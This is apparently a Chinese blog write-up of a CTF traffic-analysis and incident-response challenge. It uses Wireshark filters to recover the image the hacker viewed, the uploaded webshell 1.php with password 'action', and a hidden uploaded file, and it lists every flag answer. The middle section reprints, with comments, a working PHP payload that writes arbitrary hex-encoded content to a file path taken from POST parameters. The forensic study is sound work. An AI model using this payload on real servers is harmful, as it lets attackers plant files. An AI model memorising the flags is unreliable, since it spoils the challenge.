20250509_信安一把梭_黑客

Tags:流量分析, 应急响应, webshell, 信安一把梭

0x00. 题目

某天晚上安服仔小辉辉上班摸鱼期间突然发现服务器登入页面被挤掉线了,于是第六感告诉他,服务器肯定是被黑客攻击了,于是他赶紧把服务器的网线拔了并调取了那段时间的流量,然后慌忙的找到你,求求你救救安服仔吧

  1. 分析流量找到黑客查看的第一张图片,并将图片的文件名作为flag提交

  2. 分析流量找到黑客上传的一句话木马,并将文件名作为flag提交

  3. 分析流量找到黑客上传的一句话木马,并将一句话木马的密码作为flag提交

  4. 分析流量找到黑客上传的隐藏文件,并将文件名作为flag提交

  5. 分析流量找到黑客上传的隐藏文件,并将里面的内容提交(内容提示flag{...})


附件路径:https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件

附件名称:20250509_信安一把梭_黑客.zip

0x01. WP

1. 分析流量找到黑客查看的第一张图片,并将图片的文件名作为flag提交

通过导出http对象定位图片文件,找到内容及文件大小,flag{hacker.png}

image

2. 分析流量找到黑客上传的一句话木马,并将文件名作为flag提交

继续浏览HTTP对象列表找到对应一句话木马,flag{1.php}

image

3. 分析流量找到黑客上传的一句话木马,并将一句话木马的密码作为flag提交

追踪相应HTTP流,找到对应的木马密码,flag{action}

image

拼接查看了一下php脚本

<?php
	// 关闭错误显示,避免暴露敏感信息
    @ini_set("display_errors","0");
	// 设置脚本执行时间无限制
	@set_time_limit(0);
	// 禁用魔术引号(已废弃,仅旧版PHP有效)
	@set_magic_quotes_runtime(0);

	// 输出响应开始标记
	echo("->|");

	// 解码并获取目标文件路径(z1参数需Base64编码)
	$f = base64_decode($_POST["z1"]);
	// 获取待写入的文件内容(z2参数)
	$c = $_POST["z2"];

	// 移除内容中的回车和换行符(防止格式干扰)
	$c = str_replace("\r","", $c);
	$c = str_replace("\n","", $c);

	// 将z2内容按每两个字符分割,并转换为URL编码格式后解码
	// 例如:输入"616263"会转换为"%61%62%63",解码后为"abc"
	$buf = "";
	for($i=0; $i<strlen($c); $i+=2) {
        $buf .= urldecode("%" . substr($c, $i, 2));
    }

	// 尝试将解码后的内容写入目标文件
	// 使用@抑制错误,成功写入输出1,失败输出0
	$file = @fopen($f, "w"); 
	// 以写入模式打开文件
	$result = @fwrite($file, $buf); 
	// 写入内容
	echo ($result ? "1" : "0"); 

	// 输出响应结束标记
	echo("|<-");
	die();

// z1=/var/www/upload/images/jiaoyi.txt
// z2=dai zhe chengyi go to jiaoyi!

4. 分析流量找到黑客上传的隐藏文件,并将文件名作为flag提交

查看所有POST请求:http.request.method eq "POST"

找到example1.php的请求,找到对应的文件名和文件内容

flag{hnt.txt}

image

5. 分析流量找到黑客上传的隐藏文件,并将里面的内容提交(内容提示flag{...})

同上,flag{f1ag{si11yb0yemmm}}

posted @ 2025-09-22 15:04  JasonJHu  阅读(19)  评论(0)    收藏  举报